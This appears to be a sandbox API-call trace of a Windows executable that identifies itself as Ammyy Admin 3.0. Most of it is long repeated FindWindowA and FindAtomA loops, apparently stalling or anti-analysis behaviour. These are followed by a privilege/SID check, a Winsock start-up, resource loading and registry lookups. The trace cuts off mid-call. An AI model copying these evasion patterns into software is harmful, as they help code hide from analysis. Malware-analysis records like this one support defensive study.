[0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.001] GetACP () returned 0x4e4 [0086.001] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.002] GetACP () returned 0x4e4 [0086.002] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.003] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.003] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.004] GetACP () returned 0x4e4 [0086.004] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.005] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.005] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.006] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.006] GetACP () returned 0x4e4 [0086.007] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.007] GetACP () returned 0x4e4 [0086.007] FindWindowA (lpClassName="fdsfds", lpWindowName=0x0) returned 0x0 [0086.022] FindAtomA (lpString=0x0) returned 0x0 [0086.022] FindAtomA (lpString=0x0) returned 0x0 [0086.022] FindAtomA (lpString=0x0) returned 0x0 [0086.022] FindAtomA (lpString=0x0) returned 0x0 [0086.023] FindAtomA (lpString=0x0) returned 0x0 [0086.023] FindAtomA (lpString=0x0) returned 0x0 [0086.023] FindAtomA (lpString=0x0) returned 0x0 [0086.023] FindAtomA (lpString=0x0) returned 0x0 [0086.023] FindAtomA (lpString=0x0) returned 0x0 [0086.024] FindAtomA (lpString=0x0) returned 0x0 [0086.025] FindAtomA (lpString=0x0) returned 0x0 [0086.025] FindAtomA (lpString=0x0) returned 0x0 [0086.025] FindAtomA (lpString=0x0) returned 0x0 [0086.025] FindAtomA (lpString=0x0) returned 0x0 [0086.026] FindAtomA (lpString=0x0) returned 0x0 [0086.026] FindAtomA (lpString=0x0) returned 0x0 [0086.026] FindAtomA (lpString=0x0) returned 0x0 [0086.026] FindAtomA (lpString=0x0) returned 0x0 [0086.026] FindAtomA (lpString=0x0) returned 0x0 [0086.027] FindAtomA (lpString=0x0) returned 0x0 [0086.027] FindAtomA (lpString=0x0) returned 0x0 [0086.027] FindAtomA (lpString=0x0) returned 0x0 [0086.027] FindAtomA (lpString=0x0) returned 0x0 [0086.028] FindAtomA (lpString=0x0) returned 0x0 [0086.028] FindAtomA (lpString=0x0) returned 0x0 [0086.028] FindAtomA (lpString=0x0) returned 0x0 [0086.028] FindAtomA (lpString=0x0) returned 0x0 [0086.029] FindAtomA (lpString=0x0) returned 0x0 [0086.029] FindAtomA (lpString=0x0) returned 0x0 [0086.029] FindAtomA (lpString=0x0) returned 0x0 [0086.029] FindAtomA (lpString=0x0) returned 0x0 [0086.029] FindAtomA (lpString=0x0) returned 0x0 [0086.030] FindAtomA (lpString=0x0) returned 0x0 [0086.030] FindAtomA (lpString=0x0) returned 0x0 [0086.030] FindAtomA (lpString=0x0) returned 0x0 [0086.030] FindAtomA (lpString=0x0) returned 0x0 [0086.031] FindAtomA (lpString=0x0) returned 0x0 [0086.031] FindAtomA (lpString=0x0) returned 0x0 [0086.031] FindAtomA (lpString=0x0) returned 0x0 [0086.031] FindAtomA (lpString=0x0) returned 0x0 [0086.032] FindAtomA (lpString=0x0) returned 0x0 [0086.032] FindAtomA (lpString=0x0) returned 0x0 [0086.032] FindAtomA (lpString=0x0) returned 0x0 [0086.032] FindAtomA (lpString=0x0) returned 0x0 [0086.032] FindAtomA (lpString=0x0) returned 0x0 [0086.033] FindAtomA (lpString=0x0) returned 0x0 [0086.033] FindAtomA (lpString=0x0) returned 0x0 [0086.033] FindAtomA (lpString=0x0) returned 0x0 [0086.033] FindAtomA (lpString=0x0) returned 0x0 [0086.034] FindAtomA (lpString=0x0) returned 0x0 [0086.034] FindAtomA (lpString=0x0) returned 0x0 [0086.034] FindAtomA (lpString=0x0) returned 0x0 [0086.034] FindAtomA (lpString=0x0) returned 0x0 [0086.034] FindAtomA (lpString=0x0) returned 0x0 [0086.035] FindAtomA (lpString=0x0) returned 0x0 [0086.035] FindAtomA (lpString=0x0) returned 0x0 [0086.035] FindAtomA (lpString=0x0) returned 0x0 [0086.035] FindAtomA (lpString=0x0) returned 0x0 [0086.036] FindAtomA (lpString=0x0) returned 0x0 [0086.036] FindAtomA (lpString=0x0) returned 0x0 [0086.036] FindAtomA (lpString=0x0) returned 0x0 [0086.036] FindAtomA (lpString=0x0) returned 0x0 [0086.036] FindAtomA (lpString=0x0) returned 0x0 [0086.037] FindAtomA (lpString=0x0) returned 0x0 [0086.037] FindAtomA (lpString=0x0) returned 0x0 [0086.037] FindAtomA (lpString=0x0) returned 0x0 [0086.037] FindAtomA (lpString=0x0) returned 0x0 [0086.038] FindAtomA (lpString=0x0) returned 0x0 [0086.038] FindAtomA (lpString=0x0) returned 0x0 [0086.038] FindAtomA (lpString=0x0) returned 0x0 [0086.038] FindAtomA (lpString=0x0) returned 0x0 [0086.039] FindAtomA (lpString=0x0) returned 0x0 [0086.039] FindAtomA (lpString=0x0) returned 0x0 [0086.039] FindAtomA (lpString=0x0) returned 0x0 [0086.039] FindAtomA (lpString=0x0) returned 0x0 [0086.040] FindAtomA (lpString=0x0) returned 0x0 [0086.040] FindAtomA (lpString=0x0) returned 0x0 [0086.040] FindAtomA (lpString=0x0) returned 0x0 [0086.040] FindAtomA (lpString=0x0) returned 0x0 [0086.040] FindAtomA (lpString=0x0) returned 0x0 [0086.041] FindAtomA (lpString=0x0) returned 0x0 [0086.041] FindAtomA (lpString=0x0) returned 0x0 [0086.041] FindAtomA (lpString=0x0) returned 0x0 [0086.041] FindAtomA (lpString=0x0) returned 0x0 [0086.042] FindAtomA (lpString=0x0) returned 0x0 [0086.042] FindAtomA (lpString=0x0) returned 0x0 [0086.042] FindAtomA (lpString=0x0) returned 0x0 [0086.042] FindAtomA (lpString=0x0) returned 0x0 [0086.042] FindAtomA (lpString=0x0) returned 0x0 [0086.043] FindAtomA (lpString=0x0) returned 0x0 [0086.043] FindAtomA (lpString=0x0) returned 0x0 [0086.043] FindAtomA (lpString=0x0) returned 0x0 [0086.043] FindAtomA (lpString=0x0) returned 0x0 [0086.044] FindAtomA (lpString=0x0) returned 0x0 [0086.044] FindAtomA (lpString=0x0) returned 0x0 [0086.044] FindAtomA (lpString=0x0) returned 0x0 [0086.044] FindAtomA (lpString=0x0) returned 0x0 [0086.044] FindAtomA (lpString=0x0) returned 0x0 [0086.045] FindAtomA (lpString=0x0) returned 0x0 [0086.045] FindAtomA (lpString=0x0) returned 0x0 [0086.045] FindAtomA (lpString=0x0) returned 0x0 [0086.045] FindAtomA (lpString=0x0) returned 0x0 [0086.045] FindAtomA (lpString=0x0) returned 0x0 [0086.046] FindAtomA (lpString=0x0) returned 0x0 [0086.046] FindAtomA (lpString=0x0) returned 0x0 [0086.046] FindAtomA (lpString=0x0) returned 0x0 [0086.046] FindAtomA (lpString=0x0) returned 0x0 [0086.047] FindAtomA (lpString=0x0) returned 0x0 [0086.047] FindAtomA (lpString=0x0) returned 0x0 [0086.047] FindAtomA (lpString=0x0) returned 0x0 [0086.047] FindAtomA (lpString=0x0) returned 0x0 [0086.047] FindAtomA (lpString=0x0) returned 0x0 [0086.048] FindAtomA (lpString=0x0) returned 0x0 [0086.048] FindAtomA (lpString=0x0) returned 0x0 [0086.048] FindAtomA (lpString=0x0) returned 0x0 [0086.048] FindAtomA (lpString=0x0) returned 0x0 [0086.049] FindAtomA (lpString=0x0) returned 0x0 [0086.049] FindAtomA (lpString=0x0) returned 0x0 [0086.049] FindAtomA (lpString=0x0) returned 0x0 [0086.049] FindAtomA (lpString=0x0) returned 0x0 [0086.049] FindAtomA (lpString=0x0) returned 0x0 [0086.050] FindAtomA (lpString=0x0) returned 0x0 [0086.050] FindAtomA (lpString=0x0) returned 0x0 [0086.050] FindAtomA (lpString=0x0) returned 0x0 [0086.050] FindAtomA (lpString=0x0) returned 0x0 [0086.051] FindAtomA (lpString=0x0) returned 0x0 [0086.051] FindAtomA (lpString=0x0) returned 0x0 [0086.051] FindAtomA (lpString=0x0) returned 0x0 [0086.051] FindAtomA (lpString=0x0) returned 0x0 [0086.051] FindAtomA (lpString=0x0) returned 0x0 [0086.052] FindAtomA (lpString=0x0) returned 0x0 [0086.052] FindAtomA (lpString=0x0) returned 0x0 [0086.052] FindAtomA (lpString=0x0) returned 0x0 [0086.052] FindAtomA (lpString=0x0) returned 0x0 [0086.053] FindAtomA (lpString=0x0) returned 0x0 [0086.053] FindAtomA (lpString=0x0) returned 0x0 [0086.053] FindAtomA (lpString=0x0) returned 0x0 [0086.053] FindAtomA (lpString=0x0) returned 0x0 [0086.053] FindAtomA (lpString=0x0) returned 0x0 [0086.054] FindAtomA (lpString=0x0) returned 0x0 [0086.054] FindAtomA (lpString=0x0) returned 0x0 [0086.054] FindAtomA (lpString=0x0) returned 0x0 [0086.054] FindAtomA (lpString=0x0) returned 0x0 [0086.054] FindAtomA (lpString=0x0) returned 0x0 [0086.055] FindAtomA (lpString=0x0) returned 0x0 [0086.055] FindAtomA (lpString=0x0) returned 0x0 [0086.055] FindAtomA (lpString=0x0) returned 0x0 [0086.056] FindAtomA (lpString=0x0) returned 0x0 [0086.056] FindAtomA (lpString=0x0) returned 0x0 [0086.056] FindAtomA (lpString=0x0) returned 0x0 [0086.056] FindAtomA (lpString=0x0) returned 0x0 [0086.056] FindAtomA (lpString=0x0) returned 0x0 [0086.057] FindAtomA (lpString=0x0) returned 0x0 [0086.057] FindAtomA (lpString=0x0) returned 0x0 [0086.057] FindAtomA (lpString=0x0) returned 0x0 [0086.057] FindAtomA (lpString=0x0) returned 0x0 [0086.058] FindAtomA (lpString=0x0) returned 0x0 [0086.058] FindAtomA (lpString=0x0) returned 0x0 [0086.058] FindAtomA (lpString=0x0) returned 0x0 [0086.058] FindAtomA (lpString=0x0) returned 0x0 [0086.058] FindAtomA (lpString=0x0) returned 0x0 [0086.059] FindAtomA (lpString=0x0) returned 0x0 [0086.059] FindAtomA (lpString=0x0) returned 0x0 [0086.059] FindAtomA (lpString=0x0) returned 0x0 [0086.059] FindAtomA (lpString=0x0) returned 0x0 [0086.059] FindAtomA (lpString=0x0) returned 0x0 [0086.060] FindAtomA (lpString=0x0) returned 0x0 [0086.060] FindAtomA (lpString=0x0) returned 0x0 [0086.060] FindAtomA (lpString=0x0) returned 0x0 [0086.060] FindAtomA (lpString=0x0) returned 0x0 [0086.061] FindAtomA (lpString=0x0) returned 0x0 [0086.061] FindAtomA (lpString=0x0) returned 0x0 [0086.061] FindAtomA (lpString=0x0) returned 0x0 [0086.061] FindAtomA (lpString=0x0) returned 0x0 [0086.061] FindAtomA (lpString=0x0) returned 0x0 [0086.062] FindAtomA (lpString=0x0) returned 0x0 [0086.062] FindAtomA (lpString=0x0) returned 0x0 [0086.062] FindAtomA (lpString=0x0) returned 0x0 [0086.062] FindAtomA (lpString=0x0) returned 0x0 [0086.062] FindAtomA (lpString=0x0) returned 0x0 [0086.063] FindAtomA (lpString=0x0) returned 0x0 [0086.063] FindAtomA (lpString=0x0) returned 0x0 [0086.063] FindAtomA (lpString=0x0) returned 0x0 [0086.063] FindAtomA (lpString=0x0) returned 0x0 [0086.064] FindAtomA (lpString=0x0) returned 0x0 [0086.064] FindAtomA (lpString=0x0) returned 0x0 [0086.064] FindAtomA (lpString=0x0) returned 0x0 [0086.064] FindAtomA (lpString=0x0) returned 0x0 [0086.064] FindAtomA (lpString=0x0) returned 0x0 [0086.065] FindAtomA (lpString=0x0) returned 0x0 [0086.065] FindAtomA (lpString=0x0) returned 0x0 [0086.065] FindAtomA (lpString=0x0) returned 0x0 [0086.065] FindAtomA (lpString=0x0) returned 0x0 [0086.065] FindAtomA (lpString=0x0) returned 0x0 [0086.066] FindAtomA (lpString=0x0) returned 0x0 [0086.066] FindAtomA (lpString=0x0) returned 0x0 [0086.066] FindAtomA (lpString=0x0) returned 0x0 [0086.066] FindAtomA (lpString=0x0) returned 0x0 [0086.066] FindAtomA (lpString=0x0) returned 0x0 [0086.067] FindAtomA (lpString=0x0) returned 0x0 [0086.067] FindAtomA (lpString=0x0) returned 0x0 [0086.067] FindAtomA (lpString=0x0) returned 0x0 [0086.067] FindAtomA (lpString=0x0) returned 0x0 [0086.067] FindAtomA (lpString=0x0) returned 0x0 [0086.068] FindAtomA (lpString=0x0) returned 0x0 [0086.068] FindAtomA (lpString=0x0) returned 0x0 [0086.068] FindAtomA (lpString=0x0) returned 0x0 [0086.068] FindAtomA (lpString=0x0) returned 0x0 [0086.069] FindAtomA (lpString=0x0) returned 0x0 [0086.069] FindAtomA (lpString=0x0) returned 0x0 [0086.069] FindAtomA (lpString=0x0) returned 0x0 [0086.069] FindAtomA (lpString=0x0) returned 0x0 [0086.069] FindAtomA (lpString=0x0) returned 0x0 [0086.070] FindAtomA (lpString=0x0) returned 0x0 [0086.070] FindAtomA (lpString=0x0) returned 0x0 [0086.070] FindAtomA (lpString=0x0) returned 0x0 [0086.070] FindAtomA (lpString=0x0) returned 0x0 [0086.070] FindAtomA (lpString=0x0) returned 0x0 [0086.071] FindAtomA (lpString=0x0) returned 0x0 [0086.071] FindAtomA (lpString=0x0) returned 0x0 [0086.071] FindAtomA (lpString=0x0) returned 0x0 [0086.071] FindAtomA (lpString=0x0) returned 0x0 [0086.072] FindAtomA (lpString=0x0) returned 0x0 [0086.072] FindAtomA (lpString=0x0) returned 0x0 [0086.072] FindAtomA (lpString=0x0) returned 0x0 [0086.072] FindAtomA (lpString=0x0) returned 0x0 [0086.072] FindAtomA (lpString=0x0) returned 0x0 [0086.073] FindAtomA (lpString=0x0) returned 0x0 [0086.073] FindAtomA (lpString=0x0) returned 0x0 [0086.073] FindAtomA (lpString=0x0) returned 0x0 [0086.073] FindAtomA (lpString=0x0) returned 0x0 [0086.073] FindAtomA (lpString=0x0) returned 0x0 [0086.074] FindAtomA (lpString=0x0) returned 0x0 [0086.074] FindAtomA (lpString=0x0) returned 0x0 [0086.074] FindAtomA (lpString=0x0) returned 0x0 [0086.074] FindAtomA (lpString=0x0) returned 0x0 [0086.074] FindAtomA (lpString=0x0) returned 0x0 [0086.075] FindAtomA (lpString=0x0) returned 0x0 [0086.075] FindAtomA (lpString=0x0) returned 0x0 [0086.075] FindAtomA (lpString=0x0) returned 0x0 [0086.075] FindAtomA (lpString=0x0) returned 0x0 [0086.076] FindAtomA (lpString=0x0) returned 0x0 [0086.076] FindAtomA (lpString=0x0) returned 0x0 [0086.076] FindAtomA (lpString=0x0) returned 0x0 [0086.076] FindAtomA (lpString=0x0) returned 0x0 [0086.076] FindAtomA (lpString=0x0) returned 0x0 [0086.077] FindAtomA (lpString=0x0) returned 0x0 [0086.077] FindAtomA (lpString=0x0) returned 0x0 [0086.077] FindAtomA (lpString=0x0) returned 0x0 [0088.108] LoadLibraryA (lpLibFileName="kernel32") returned 0x75440000 [0088.108] GetProcAddress (hModule=0x75440000, lpProcName="QueryPerformanceFrequency") returned 0x754541f0 [0088.108] GetProcAddress (hModule=0x75440000, lpProcName="QueryPerformanceCounter") returned 0x75451725 [0088.108] GetProcAddress (hModule=0x75440000, lpProcName="IsBadCodePtr") returned 0x75472b34 [0088.108] QueryPerformanceFrequency (in: lpFrequency=0x2df9c0 | out: lpFrequency=0x2df9c0) returned 1 [0088.108] QueryPerformanceCounter (in: lpPerformanceCount=0x2df9d0 | out: lpPerformanceCount=0x2df9d0*=564637801) returned 1 [0090.528] LoadLibraryA (lpLibFileName=0x0) returned 0x0 [0090.529] LoadLibraryA (lpLibFileName=0x0) returned 0x0 [0090.529] GetThreadLocale () returned 0x409 [0090.529] GetACP () returned 0x4e4 [0090.530] GetTickCount () returned 0xa6f4ec [0090.530] GetLastError () returned 0x7e [0090.530] SetLastError (dwErrCode=0x7e) [0090.530] GetLastError () returned 0x7e [0090.530] SetLastError (dwErrCode=0x7e) [0090.530] GetLastError () returned 0x7e [0090.530] SetLastError (dwErrCode=0x7e) [0090.530] GetLastError () returned 0x7e [0090.530] SetLastError (dwErrCode=0x7e) [0090.530] GetLastError () returned 0x7e [0090.530] SetLastError (dwErrCode=0x7e) [0090.530] GetLastError () returned 0x7e [0090.530] SetLastError (dwErrCode=0x7e) [0090.530] GetLastError () returned 0x7e [0090.530] SetLastError (dwErrCode=0x7e) [0090.530] GetLastError () returned 0x7e [0090.530] SetLastError (dwErrCode=0x7e) [0090.531] lstrlenA (lpString="") returned 0 [0090.531] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x88670) returned 0x9f98a [0090.531] lstrlenA (lpString="Ammyy Admin") returned 11 [0090.531] lstrlenA (lpString="Ammyy Admin") returned 11 [0090.531] lstrlenW (lpString="Ammyy Admin") returned 11 [0090.531] lstrlenA (lpString="exe") returned 3 [0090.531] lstrlenW (lpString="exe") returned 3 [0090.532] RtlWakeAllConditionVariable () returned 0x0 [0090.532] GetLastError () returned 0x7e [0090.532] SetLastError (dwErrCode=0x7e) [0090.532] lstrlenA (lpString="3.0") returned 3 [0090.532] lstrlenA (lpString="3.0") returned 3 [0090.532] lstrlenW (lpString="3.0") returned 3 [0090.532] GetVersionExW (in: lpVersionInformation=0x2df714*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x4c004c, dwMinorVersion=0x8, dwBuildNumber=0x2df7b4, dwPlatformId=0x77e635d5, szCSDVersion="-𥳐睟") | out: lpVersionInformation=0x2df714*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0090.532] GetCurrentProcess () returned 0xffffffff [0090.532] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20008, TokenHandle=0x2dd6ec | out: TokenHandle=0x2dd6ec*=0xb0) returned 1 [0090.532] GetTokenInformation (in: TokenHandle=0xb0, TokenInformationClass=0x1, TokenInformation=0x2dd700, TokenInformationLength=0x2000, ReturnLength=0x2dd6fc | out: TokenInformation=0x2dd700, ReturnLength=0x2dd6fc) returned 1 [0090.532] CloseHandle (hObject=0xb0) returned 1 [0090.532] ConvertSidToStringSidW () returned 0x1 [0090.533] lstrcmpiW (lpString1="S-1-5-21-1335525288-214869617-2635229968-1000", lpString2="S-1-5-18") returned 1 [0090.535] LocalFree (hMem=0x63ba30) returned 0x0 [0090.535] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x2df858 | out: lpWSAData=0x2df858) returned 0 [0090.539] FindResourceW (hModule=0x50000, lpName=0x96, lpType="BINARY") returned 0xf36c0 [0090.539] SizeofResource (hModule=0x50000, hResInfo=0xf36c0) returned 0x42 [0090.539] LoadResource (hModule=0x50000, hResInfo=0xf36c0) returned 0xf3a04 [0090.539] LockResource (hResData=0xf3a04) returned 0xf3a04 [0090.540] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services", ulOptions=0x0, samDesired=0x20019, phkResult=0x2dd7fc | out: phkResult=0x2dd7fc*=0xc4) returned 0x0 [0090.540] RegQueryValueExA (in: hKey=0xc4, lpValueName="netsxuid", lpReserved=0x0, lpType=0x0, lpData=0x2dd800, lpcbData=0x2dd7f8*=0x100 | out: lpType=0x0, lpData=0x2dd800*=0x0, lpcbData=0x2dd7f8*=0x100) returned 0x2 [0090.540] RegCloseKey (hKey=0xc4) returned 0x0 [0090.540] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SYSTEM\\CurrentControlSet\\Control", ulOptions=0x0, samDesired=0x20019, phkResult=0x2dd7fc | out: phkResult=0x2dd7fc*=0xc8) returned 0x0 [0090.540] RegQueryValueExA (in: hKey=0xc8, lpValueName="netsxuid", lpReserved=0x0, lpType=0x0, lpData=0x2dd800, 